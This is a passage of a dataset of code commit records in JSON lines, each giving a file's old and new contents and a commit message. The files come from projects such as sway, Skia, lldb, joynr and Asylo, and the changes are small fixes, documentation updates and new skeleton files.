AliPIPEv1;\n#pragma link C++ class  AliPIPEv3;\n#pragma link C++ class  AliSHIL;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ class  AliBODY;\n#pragma link C++ class  AliMAG;\n#pragma link C++ class  AliABSO;\n#pragma link C++ class  AliABSOv0;\n#pragma link C++ class  AliDIPO;\n#pragma link C++ class  AliDIPOv1;\n#pragma link C++ class  AliDIPOv2;\n#pragma link C++ class  AliFRAME;\n#pragma link C++ class  AliFRAMEv0;\n#pragma link C++ class  AliFRAMEv1;\n#pragma link C++ class  AliHALL;\n#pragma link C++ class  AliPIPE;\n#pragma link C++ class  AliPIPEv0;\n#pragma link C++ class  AliPIPEv1;\n#pragma link C++ class  AliPIPEv3;\n#pragma link C++ class  AliSHIL;\n#pragma link C++ class  AliSHILv0;\n\n#endif\n","subject":"Add new classes to LinkDef","message":"Add new classes to LinkDef\n\n","lang":"C","license":"bsd-3-clause","repos":"coppedis\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot"}
{"commit":"12cb09e6b5ee19bb3584ae09341de0b18c17cca6","old_file":"src\/rh_tcp.c","new_file":"src\/rh_tcp.c","old_contents":"","new_contents":"\/*\n * This file is part of the KNOT Project\n *\n * Copyright (c) 2015, CESAR. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and\/or other materials provided with the distribution.\n *    * Neither the name of the CESAR nor the\n *      names of its contributors may be used to endorse or promote products\n *      derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL CESAR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <errno.h>\n#include <stdio.h>\n\n#include \"node.h\"\n\nstatic int tcp_probe(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic void tcp_remove(void)\n{\n}\n\nstatic int tcp_listen(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic int tcp_accept(int srv_sockfd)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t tcp_recv(int sockfd, void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t tcp_send(int sockfd, const void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic struct node_ops tcp_ops = {\n\t.name = \"Radio Head: TCP\",\n\t.probe = tcp_probe,\n\t.remove = tcp_remove,\n\n\t.listen = tcp_listen,\n\t.accept = tcp_accept,\n\t.recv = tcp_recv,\n\t.send = tcp_send\n};\n\n\/*\n * The following functions MAY be implemented as plugins\n * initialization functions, avoiding function calls such\n * as manager@manager_start()->node@node_init()->\n * manager@node_ops_register()->node@node_probe()\n *\/\nint node_init(void)\n{\n\treturn node_ops_register(&tcp_ops);\n}\n\nvoid node_exit(void)\n{\n}\n","subject":"Add RadioHead TCP node 'driver' skeleton","message":"gw: Add RadioHead TCP node 'driver' skeleton\n\nThis patch adds an abstraction for RadioHead TCP driver, allowing\ndevelopment on Linux using TCP sockets instead of 'real' radios.\n","lang":"C","license":"lgpl-2.1","repos":"CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source"}
{"commit":"0e226182048ab803e2b3c2dafb2cb08bddb1df7e","old_file":"libgpmat\/src\/gp-remote.h","new_file":"libgpmat\/src\/gp-remote.h","old_contents":"","new_contents":"\/* Remote access\n--  Copyright (C) 2011, 2012, 2013 Stephane Carrez\n--  Written by Stephane Carrez (Stephane.Carrez@gmail.com)\n--\n--  Licensed under the Apache License, Version 2.0 (the \"License\");\n--  you may not use this file except in compliance with the License.\n--  You may obtain a copy of the License at\n--\n--      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n--\n--  Unless required by applicable law or agreed to in writing, software\n--  distributed under the License is distributed on an \"AS IS\" BASIS,\n--  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n--  See the License for the specific language governing permissions and\n--  limitations under the License.\n*\/\n#ifndef _GP_REMOTE_H\n#define _GP_REMOTE_H\n\nstruct gp_server;\n\ntypedef int (* gp_remote_send_t) (struct gp_server *, const void *, size_t);\n\ntypedef int (* gp_remote_sync_t) (struct gp_server *);\n\ntypedef void (* gp_remote_close_t) (struct gp_server *);\n\nstruct gp_server\n{\n  gp_remote_send_t to_send;\n  gp_remote_sync_t to_synchronize;\n  gp_remote_close_t to_close;\n};\n\nextern void gp_remote_send (const void *addr, size_t len);\n\nextern void gp_remote_sync (void);\n\nextern void gp_remote_close (void);\n\nextern int gp_remote_initialize (void);\n\n#endif\n","subject":"Remove access to mat server","message":"Remove access to mat server\n\n","lang":"C","license":"apache-2.0","repos":"stcarrez\/mat,stcarrez\/mat,stcarrez\/mat"}
{"commit":"86ee240a4a6a958b4728b3613ce05edd884caf45","old_file":"sway\/commands\/floating_modifier.c","new_file":"sway\/commands\/floating_modifier.c","old_contents":"#include \"strings.h\"\n#include \"sway\/commands.h\"\n#include \"sway\/config.h\"\n#include \"sway\/input\/keyboard.h\"\n\nstruct cmd_results *cmd_floating_modifier(int argc, char **argv) {\n\tstruct cmd_results *error = NULL;\n\tif ((error = checkarg(argc, \"floating_modifier\", EXPECTED_AT_LEAST, 1))) {\n\t\treturn error;\n\t}\n\n\tuint32_t mod = get_modifier_mask_by_name(argv[0]);\n\tif (!mod) {\n\t\treturn cmd_results_new(CMD_INVALID, \"Invalid modifier\");\n\t}\n\n\tif (argc == 1 || strcasecmp(argv[1], \"normal\") == 0) {\n\t\tconfig->floating_mod_inverse = false;\n\t} else if (strcasecmp(argv[1], \"inverse\") == 0) {\n\t\tconfig->floating_mod_inverse = true;\n\t} else {\n\t\treturn cmd_results_new(CMD_INVALID,\n\t\t\t\t\"Usage: floating_modifier <mod> [inverse|normal]\");\n\t}\n\n\tconfig->floating_mod = mod;\n\n\treturn cmd_results_new(CMD_SUCCESS, NULL);\n}\n","new_contents":"#include \"strings.h\"\n#include \"sway\/commands.h\"\n#include \"sway\/config.h\"\n#include \"sway\/input\/keyboard.h\"\n\nstruct cmd_results *cmd_floating_modifier(int argc, char **argv) {\n\tstruct cmd_results *error = NULL;\n\tif ((error = checkarg(argc, \"floating_modifier\", EXPECTED_AT_LEAST, 1))) {\n\t\treturn error;\n\t}\n\n\tif (strcasecmp(argv[0], \"none\") == 0) {\n\t\tconfig->floating_mod = 0;\n\t\treturn cmd_results_new(CMD_SUCCESS, NULL);\n\t}\n\n\tuint32_t mod = get_modifier_mask_by_name(argv[0]);\n\tif (!mod) {\n\t\treturn cmd_results_new(CMD_INVALID, \"Invalid modifier\");\n\t}\n\n\tif (argc == 1 || strcasecmp(argv[1], \"normal\") == 0) {\n\t\tconfig->floating_mod_inverse = false;\n\t} else if (strcasecmp(argv[1], \"inverse\") == 0) {\n\t\tconfig->floating_mod_inverse = true;\n\t} else {\n\t\treturn cmd_results_new(CMD_INVALID,\n\t\t\t\t\"Usage: floating_modifier <mod> [inverse|normal]\");\n\t}\n\n\tconfig->floating_mod = mod;\n\n\treturn cmd_results_new(CMD_SUCCESS, NULL);\n}\n","subject":"Add ability to remove the floating modifier","message":"Add ability to remove the floating modifier\n","lang":"C","license":"mit","repos":"ascent12\/sway,1ace\/sway,1ace\/sway,SirCmpwn\/sway,1ace\/sway,ascent12\/sway,ascent12\/sway"}
{"commit":"2b33ac168c6e252e441f9b0a547d2bf18c153984","old_file":"Squirrel\/SQRLInstaller+Private.h","new_file":"Squirrel\/SQRLInstaller+Private.h","old_contents":"\/\/\n\/\/  SQRLInstaller+Private.h\n\/\/  Squirrel\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2013-11-19.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"SQRLInstaller.h\"\n\n\/\/ A preferences key for the URL where the target bundle has been moved before\n\/\/ installation.\n\/\/\n\/\/ This is stored in preferences, rather than `SQRLShipItState`, to prevent an\n\/\/ attacker from rewriting the URL during the installation process.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerOwnedTargetBundleURLKey;\n\n\/\/ A preferences key for the URL where the update bundle has been moved before\n\/\/ installation.\n\/\/\n\/\/ This is stored in preferences, rather than `SQRLShipItState`, to prevent an\n\/\/ attacker from rewriting the URL during the installation process.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerOwnedUpdateBundleURLKey;\n\n\/\/ A preferences key for the code signature that the update _and_ target bundles\n\/\/ must match in order to be valid.\n\/\/\n\/\/ This is stored in preferences, rather than `SQRLShipItState`, to prevent an\n\/\/ attacker from spoofing the validity requirements.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerCodeSignatureKey;\n","new_contents":"\/\/\n\/\/  SQRLInstaller+Private.h\n\/\/  Squirrel\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2013-11-19.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"SQRLInstaller.h\"\n\n\/\/ A preferences key for the URL where the target bundle has been moved before\n\/\/ installation.\n\/\/\n\/\/ This is stored in preferences to prevent an attacker from rewriting the URL\n\/\/ during the installation process.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerOwnedTargetBundleURLKey;\n\n\/\/ A preferences key for the URL where the update bundle has been moved before\n\/\/ installation.\n\/\/\n\/\/ This is stored in preferences to prevent an attacker from rewriting the URL\n\/\/ during the installation process.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerOwnedUpdateBundleURLKey;\n\n\/\/ A preferences key for the code signature that the update _and_ target bundles\n\/\/ must match in order to be valid.\n\/\/\n\/\/ This is stored in preferences to prevent an attacker from spoofing the\n\/\/ validity requirements.\n\/\/\n\/\/ Note that this key must remain backwards compatible, so ShipIt doesn't fail\n\/\/ confusingly on a newer version.\nextern NSString * const SQRLInstallerCodeSignatureKey;\n","subject":"Update docs to reflect that the root prefs aren’t opposed to shipit state","message":"Update docs to reflect that the root prefs aren’t opposed to shipit state\n\nShipIt state is now in the prefs too.\n","lang":"C","license":"mit","repos":"EdZava\/Squirrel.Mac,EdZava\/Squirrel.Mac,Squirrel\/Squirrel.Mac,emiscience\/Squirrel.Mac,EdZava\/Squirrel.Mac,Squirrel\/Squirrel.Mac,emiscience\/Squirrel.Mac,emiscience\/Squirrel.Mac,Squirrel\/Squirrel.Mac"}
{"commit":"c8bb5693469744e0deeb03a552f190faa2146764","old_file":"tests\/integrationtests\/fibonacci.c","new_file":"tests\/integrationtests\/fibonacci.c","old_contents":"#include <stdio.h>\n\nvoid print_fib(int n)\n{\n    int a = 0;\n    int b = 1;\n    while (a < n)\n    {\n        printf(\"%d \", a);\n\n        int old_a = a;\n        a = b;\n        b = old_a + b;\n    }\n}\n\nint main()\n{\n    print_fib(500);\n    printf(\"\\n\");\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\nvoid print_fib(int n)\n{\n    int a = 0;\n    int b = 1;\n    while (a < n)\n    {\n        int old_a = a;\n        printf(\"%d \", a);\n        a = b;\n        b = old_a + b;\n    }\n}\n\nint main()\n{\n    print_fib(500);\n    printf(\"\\n\");\n    return 0;\n}\n","subject":"Fix variable declaration non-conformant to C89","message":"Fix variable declaration non-conformant to C89\n\nDeclaring variables on C89 need to be done at the beginning of the\nfunction scope. The old code failed on VS2010.","lang":"C","license":"bsd-3-clause","repos":"webmaster128\/clcache,webmaster128\/clcache,webmaster128\/clcache"}
{"commit":"0c159e49926e7c86b29cf7d17769a653da862254","old_file":"source\/tid\/enums.h","new_file":"source\/tid\/enums.h","old_contents":"","new_contents":"#pragma once\n#include <string_view>\n\nnamespace tid {\n    enum level : int {\n        parent = -1,\n        normal = 0,\n        detail = 1,\n        pedant = 2,\n    };\n\n    constexpr std::string_view level2sv(level l) noexcept {\n        switch(l) {\n            case normal: return \"normal\";\n            case detail: return \"detail\";\n            case pedant: return \"pedant\";\n            case parent: return \"parent\";\n            default: return \"unknown\";\n        }\n    }\n}\n\n\ntemplate<typename T>\nextern constexpr std::string_view enum2sv(const T &item);\n\n\ntemplate<typename T>\nextern constexpr auto sv2enum(std::string_view item);\n\n\ntemplate<>\nconstexpr std::string_view enum2sv(const tid::level & item) {\n    switch(item) {\n        case(tid::level::normal): return \"normal\";\n        case(tid::level::detail): return \"detail\";\n        case(tid::level::pedant): return \"pedant\";\n        case(tid::level::parent): return \"parent\";\n        default: throw std::runtime_error(\"Unrecognized tid::level enum\");\n    }\n}\n\ntemplate<>\nconstexpr auto sv2enum<tid::level>(std::string_view item) {\n    if(item == \"normal\") return tid::level::normal;\n    if(item == \"detail\") return tid::level::detail;\n    if(item == \"pedant\") return tid::level::pedant;\n    if(item == \"parent\") return tid::level::parent;\n    throw std::runtime_error(\"Given item is not a tid::level enum: \" + std::string(item));\n}\n","subject":"Add support for specifying tid print level","message":"Add support for specifying tid print level\n\n\nFormer-commit-id: dcbe2db0f881cae1e908cc67e3c32526477ea6a6","lang":"C","license":"mit","repos":"DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG"}
{"commit":"fac07f049b1779162101baddf60a331df761e228","old_file":"cpp\/libjoynr\/include\/joynr\/StatusCode.h","new_file":"cpp\/libjoynr\/include\/joynr\/StatusCode.h","old_contents":"\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#ifndef STATUSCODE_H\n#define STATUSCODE_H\n\n#include <cstdint>\n#include <string>\n\nnamespace joynr\n{\n\n\/**\n * @brief This struct contains all the possible status codes of a Future.\n *\n *\/\nenum class StatusCodeEnum : std::uint8_t {\n    \/**\n     * @brief\n     *\/\n    SUCCESS = 0,\n    \/**\n     * @brief\n     *\/\n    IN_PROGRESS = 1,\n    \/**\n     * @brief\n     *\/\n    ERROR = 2,\n    \/**\n     * @brief Future::waitFor() timed out.\n     *\/\n    WAIT_TIMED_OUT = 3,\n};\n\nclass StatusCode\n{\npublic:\n    static std::string toString(StatusCodeEnum enumValue);\n};\n\n} \/\/ namespace joynr\n#endif \/\/ STATUSCODE_H\n","new_contents":"\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#ifndef STATUSCODE_H\n#define STATUSCODE_H\n\n#include <cstdint>\n#include <string>\n\nnamespace joynr\n{\n\n\/**\n * @brief This struct contains all the possible status codes of a Future.\n *\n *\/\nenum class StatusCodeEnum : std::uint8_t {\n    \/**\n     * @brief The Future was successful and onSuccess was called.\n     *\/\n    SUCCESS = 0,\n\n    \/**\n     * @brief The future is still in progress.\n     *\/\n    IN_PROGRESS = 1,\n\n    \/**\n     * @brief Either a time-out occured or onError was called.\n     *\/\n    ERROR = 2,\n\n    \/**\n     * @brief Future::waitFor() timed out.\n     *\/\n    WAIT_TIMED_OUT = 3,\n};\n\nclass StatusCode\n{\npublic:\n    static std::string toString(StatusCodeEnum enumValue);\n};\n\n} \/\/ namespace joynr\n#endif \/\/ STATUSCODE_H\n","subject":"Improve documentation of Future status codes.","message":"[C++] Improve documentation of Future status codes.\n\nChange-Id: I979083e18ea5facec4e6f52fc2ed486b4a18d358\n","lang":"C","license":"apache-2.0","repos":"bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr"}
{"commit":"cd2450371d48da1c548b8894cccc0a67cd8b0e99","old_file":"asylo\/test\/util\/test_flags.h","new_file":"asylo\/test\/util\/test_flags.h","old_contents":"\/*\n *\n * Copyright 2018 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_TEST_UTIL_TEST_FLAGS_H_\n#define ASYLO_TEST_UTIL_TEST_FLAGS_H_\n\n#include \"absl\/flags\/declare.h\"\n\n\/\/ Location for all temporary test files.\nABSL_DECLARE_FLAG(std::string, test_tmpdir);\n\n#endif  \/\/ ASYLO_TEST_UTIL_TEST_FLAGS_H_\n","new_contents":"\/*\n *\n * Copyright 2018 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_TEST_UTIL_TEST_FLAGS_H_\n#define ASYLO_TEST_UTIL_TEST_FLAGS_H_\n\n#include <string>\n\n#include \"absl\/flags\/declare.h\"\n\n\/\/ Location for all temporary test files.\nABSL_DECLARE_FLAG(std::string, test_tmpdir);\n\n#endif  \/\/ ASYLO_TEST_UTIL_TEST_FLAGS_H_\n","subject":"Add missing include of string","message":"Add missing include of string\n\nPiperOrigin-RevId: 317401762\nChange-Id: Icbc4d0e2a4e99a9e73a4d8e7ad148e34ee2e9d03\n","lang":"C","license":"apache-2.0","repos":"google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo"}
{"commit":"0a6986c0d9b11bf808264239a7d107fecf67dab1","old_file":"test\/functionalities\/signal\/main.c","new_file":"test\/functionalities\/signal\/main.c","old_contents":"#include <sys\/signal.h>\n#include <stdio.h>\n#include <unistd.h>\n\nvoid handler_usr1 (int i)\n{\n  puts (\"got signal usr1\");\n}\n\nvoid handler_alrm (int i)\n{\n  puts (\"got signal ALRM\");\n}\n\nint main ()\n{\n  int i = 0;\n\n  signal (SIGUSR1, handler_usr1);\n  signal (SIGALRM, handler_alrm);\n\n  puts (\"Put breakpoint here\");\n\n  while (i++ < 20)\n     sleep (1);\n}\n\n","new_contents":"#include <signal.h>\n#include <stdio.h>\n#include <unistd.h>\n\nvoid handler_usr1 (int i)\n{\n  puts (\"got signal usr1\");\n}\n\nvoid handler_alrm (int i)\n{\n  puts (\"got signal ALRM\");\n}\n\nint main ()\n{\n  int i = 0;\n\n  signal (SIGUSR1, handler_usr1);\n  signal (SIGALRM, handler_alrm);\n\n  puts (\"Put breakpoint here\");\n\n  while (i++ < 20)\n     sleep (1);\n}\n\n","subject":"Include signal.h instead of sys\/signal.h in the test case.","message":"[TestSendSignal] Include signal.h instead of sys\/signal.h in the test case.\n\nSummary:\nAndroid API-9 does not have sys\/signal.h. However, all sys\/signal.h\nhas when present is an include of signal.h.\n\nTest Plan: dotest.py -p TestSendSignal on linux and Android.\n\nReviewers: chaoren\n\nReviewed By: chaoren\n\nSubscribers: tberghammer, lldb-commits\n\nDifferential Revision: http:\/\/reviews.llvm.org\/D9779\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@237381 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb"}
{"commit":"2569701a2bdeee6811b90b6968192e387a10f402","old_file":"tests\/regression\/01-cpa\/50-escaping-recursion.c","new_file":"tests\/regression\/01-cpa\/50-escaping-recursion.c","old_contents":"","new_contents":"int rec(int i,int* ptr) {\n    int top;\n    int x = 17;\n\n    if(i == 0) {\n        rec(5,&x);\n        \/\/ Recursive call may have modified x\n        assert(x == 17); \/\/UNKNOWN!\n    } else {\n        x = 31;\n\n        \/\/ ptr points to the outer x, it is unaffected by this assignment\n        \/\/ and should be 17\n        assert(*ptr == 31); \/\/UNKNOWN!\n\n        if(top) {\n            ptr = &x;\n        }\n\n        \/\/ ptr may now point to both the inner and the outer x\n        *ptr = 12;\n        assert(*ptr == 12); \/\/UNKNOWN!\n        assert(x == 12); \/\/UNKNOWN!\n    }\n    return 0;\n}\n\n\nint main() {\n    int t;\n    rec(0,&t);\n    return 0;\n}\n","subject":"Add test case for escaping via recursion","message":"Add test case for escaping via recursion\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b1501a3cde99f68c9c419d9db4ad15b8fed814f3","old_file":"src\/core\/SkEdgeBuilder.h","new_file":"src\/core\/SkEdgeBuilder.h","old_contents":"#ifndef SkEdgeBuilder_DEFINED\n#define SkEdgeBuilder_DEFINED\n\n#include \"SkChunkAlloc.h\"\n#include \"SkRect.h\"\n#include \"SkTDArray.h\"\n\nclass SkEdge;\nclass SkEdgeClipper;\nclass SkPath;\n\nclass SkEdgeBuilder {\npublic:\n    SkEdgeBuilder();\n    \n    int build(const SkPath& path, const SkIRect* clip, int shiftUp);\n\n    SkEdge** edgeList() { return fList.begin(); }\n\nprivate:\n    SkChunkAlloc        fAlloc;\n    SkTDArray<SkEdge*>  fList;\n    int                 fShiftUp;\n\n    void addLine(const SkPoint pts[]);\n    void addQuad(const SkPoint pts[]);\n    void addCubic(const SkPoint pts[]);\n    void addClipper(SkEdgeClipper*);\n};\n\n#endif\n","new_contents":"#ifndef SkEdgeBuilder_DEFINED\n#define SkEdgeBuilder_DEFINED\n\n#include \"SkChunkAlloc.h\"\n#include \"SkRect.h\"\n#include \"SkTDArray.h\"\n\nstruct SkEdge;\nclass SkEdgeClipper;\nclass SkPath;\n\nclass SkEdgeBuilder {\npublic:\n    SkEdgeBuilder();\n    \n    int build(const SkPath& path, const SkIRect* clip, int shiftUp);\n\n    SkEdge** edgeList() { return fList.begin(); }\n\nprivate:\n    SkChunkAlloc        fAlloc;\n    SkTDArray<SkEdge*>  fList;\n    int                 fShiftUp;\n\n    void addLine(const SkPoint pts[]);\n    void addQuad(const SkPoint pts[]);\n    void addCubic(const SkPoint pts[]);\n    void addClipper(SkEdgeClipper*);\n};\n\n#endif\n","subject":"Fix warning (struct forward-declared as class).","message":"Fix warning (struct forward-declared as class).\n\nReview URL:  http:\/\/codereview.appspot.com\/164061\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@451 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"shahrzadmn\/skia,houst0nn\/external_skia,GladeRom\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,VRToxin-AOSP\/android_external_skia,zhaochengw\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,akiss77\/skia,fire855\/android_external_skia,Infinitive-OS\/platform_external_skia,Infinitive-OS\/platform_external_skia,FusionSP\/android_external_skia,mmatyas\/skia,pcwalton\/skia,vanish87\/skia,xzzz9097\/android_external_skia,Pure-Aosp\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,vanish87\/skia,scroggo\/skia,UBERMALLOW\/external_skia,TeslaOS\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,wildermason\/external_skia,VRToxin-AOSP\/android_external_skia,Android-AOSP\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,VRToxin-AOSP\/android_external_skia,pcwalton\/skia,zhaochengw\/platform_external_skia,ominux\/skia,MinimalOS\/android_external_skia,Khaon\/android_external_skia,pcwalton\/skia,Purity-Lollipop\/platform_external_skia,Tesla-Redux\/android_external_skia,rubenvb\/skia,MinimalOS-AOSP\/platform_external_skia,amyvmiwei\/skia,vvuk\/skia,AOSPU\/external_chromium_org_third_party_skia,rubenvb\/skia,TeamTwisted\/external_skia,shahrzadmn\/skia,android-ia\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,OneRom\/external_skia,fire855\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,wildermason\/external_skia,samuelig\/skia,TeamEOS\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,samuelig\/skia,geekboxzone\/lollipop_external_skia,F-AOSP\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,ench0\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,pacerom\/external_skia,nvoron23\/skia,NamelessRom\/android_external_skia,qrealka\/skia-hc,sigysmund\/platform_external_skia,BrokenROM\/external_skia,xzzz9097\/android_external_skia,aospo\/platform_external_skia,UBERMALLOW\/external_skia,OptiPop\/external_skia,Pure-Aosp\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,OneRom\/external_skia,Plain-Andy\/android_platform_external_skia,HealthyHoney\/temasek_SKIA,nvoron23\/skia,HealthyHoney\/temasek_SKIA,akiss77\/skia,fire855\/android_external_skia,Infusion-OS\/android_external_skia,nox\/skia,FusionSP\/external_chromium_org_third_party_skia,vvuk\/skia,an